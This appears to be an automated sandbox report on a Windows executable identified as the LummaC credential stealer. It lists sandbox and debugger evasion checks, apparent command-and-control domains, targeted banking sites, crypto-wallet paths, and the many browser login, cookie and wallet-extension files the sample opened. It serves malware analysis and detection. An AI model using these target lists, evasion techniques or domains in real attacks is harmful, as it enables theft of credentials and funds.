Source: hiip7UoiAq.exe, 00000000.00000003.1467811946.0000000005F62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696497155j
Source: hiip7UoiAq.exe, 00000000.00000003.1467811946.0000000005F62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696497155
Source: hiip7UoiAq.exe, 00000000.00000003.1467811946.0000000005F62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696497155t
Source: hiip7UoiAq.exe, 00000000.00000003.1467811946.0000000005F62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696497155
Source: hiip7UoiAq.exe, 00000000.00000002.1611219903.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1609865582.00000000015E2000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000002.1611348149.00000000015E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: hiip7UoiAq.exe, 00000000.00000003.1467811946.0000000005F62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696497155]
Source: hiip7UoiAq.exe, 00000000.00000003.1467811946.0000000005F62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696497155\|UE
Source: hiip7UoiAq.exe, 00000000.00000003.1467811946.0000000005F62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696497155o
Source: hiip7UoiAq.exe, 00000000.00000003.1467811946.0000000005F62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155
Source: hiip7UoiAq.exe, 00000000.00000003.1467811946.0000000005F62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696497155
Source: hiip7UoiAq.exe, 00000000.00000003.1467811946.0000000005F62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696497155x
Source: hiip7UoiAq.exe, 00000000.00000003.1467811946.0000000005F62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696497155
Source: hiip7UoiAq.exe, 00000000.00000003.1467811946.0000000005F62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696497155h
Source: hiip7UoiAq.exe, 00000000.00000003.1467811946.0000000005F62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696497155p
Source: hiip7UoiAq.exe, 00000000.00000003.1467811946.0000000005F62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696497155n
Source: hiip7UoiAq.exe, 00000000.00000003.1467811946.0000000005F62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696497155d
Source: hiip7UoiAq.exe, 00000000.00000003.1467811946.0000000005F62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696497155x
Source: hiip7UoiAq.exe, 00000000.00000003.1467811946.0000000005F62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696497155
Source: hiip7UoiAq.exe, 00000000.00000003.1467811946.0000000005F67000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696497155p
Source: hiip7UoiAq.exe, 00000000.00000003.1467811946.0000000005F62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696497155
Source: hiip7UoiAq.exe, 00000000.00000003.1467811946.0000000005F62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696497155
Source: hiip7UoiAq.exe, 00000000.00000003.1467811946.0000000005F62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696497155
Source: hiip7UoiAq.exe, 00000000.00000003.1467811946.0000000005F62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696497155}
Source: hiip7UoiAq.exe, 00000000.00000003.1609865582.00000000015E2000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000002.1611348149.00000000015E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBnl)
Source: hiip7UoiAq.exe, 00000000.00000003.1467811946.0000000005F62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155^
Source: hiip7UoiAq.exe, 00000000.00000003.1467811946.0000000005F62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696497155u
Source: hiip7UoiAq.exe, 00000000.00000003.1467811946.0000000005F62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696497155f
Source: hiip7UoiAq.exe, 00000000.00000003.1467811946.0000000005F62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696497155
Source: hiip7UoiAq.exe, 00000000.00000003.1467811946.0000000005F62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696497155z
Source: hiip7UoiAq.exe, 00000000.00000003.1467811946.0000000005F62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696497155t
Source: hiip7UoiAq.exe, 00000000.00000003.1467811946.0000000005F62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696497155s
Source: hiip7UoiAq.exe, 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: hiip7UoiAq.exe, 00000000.00000003.1467811946.0000000005F62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696497155}
Source: hiip7UoiAq.exe, 00000000.00000003.1467811946.0000000005F62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696497155~
Source: hiip7UoiAq.exe, 00000000.00000003.1467811946.0000000005F62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696497155x

Source: C:\Users\user\Desktop\hiip7UoiAq.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\hiip7UoiAq.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\hiip7UoiAq.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: NTICE
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: SICE
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\hiip7UoiAq.exe

Code function: 0_2_00CDA467 rdtsc

0_2_00CDA467

Source: C:\Users\user\Desktop\hiip7UoiAq.exe

Code function: 0_2_00CBA9B0 LdrInitializeThunk,

0_2_00CBA9B0

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: hiip7UoiAq.exe	String found in binary or memory: diffuculttan.xyz
Source: hiip7UoiAq.exe	String found in binary or memory: debonairnukk.xyz
Source: hiip7UoiAq.exe	String found in binary or memory: deafeninggeh.biz
Source: hiip7UoiAq.exe	String found in binary or memory: effecterectz.xyz
Source: hiip7UoiAq.exe	String found in binary or memory: tacitglibbr.biz
Source: hiip7UoiAq.exe	String found in binary or memory: immureprech.biz

Source: hiip7UoiAq.exe, hiip7UoiAq.exe, 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: `Program Manager

Source: C:\Users\user\Desktop\hiip7UoiAq.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\hiip7UoiAq.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: hiip7UoiAq.exe, 00000000.00000003.1552070837.000000000163F000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1609431961.0000000001634000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000002.1611489806.0000000001634000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\hiip7UoiAq.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: hiip7UoiAq.exe PID: 7316, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: hiip7UoiAq.exe, 00000000.00000002.1611348149.00000000015F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: hiip7UoiAq.exe, 00000000.00000002.1611348149.00000000015F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: hiip7UoiAq.exe, 00000000.00000002.1611531851.0000000001648000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: hiip7UoiAq.exe, 00000000.00000002.1611348149.00000000015F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: hiip7UoiAq.exe, 00000000.00000003.1435420192.0000000001643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "p":"%appdata%\\Exodus\\2P&
Source: hiip7UoiAq.exe, 00000000.00000003.1435420192.0000000001643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: hiip7UoiAq.exe, 00000000.00000003.1435134651.0000000001643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: hiip7UoiAq.exe, 00000000.00000003.1435420192.0000000001643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: hiip7UoiAq.exe, 00000000.00000003.1435420192.0000000001643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ["keystore"],"z":"Wallet

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
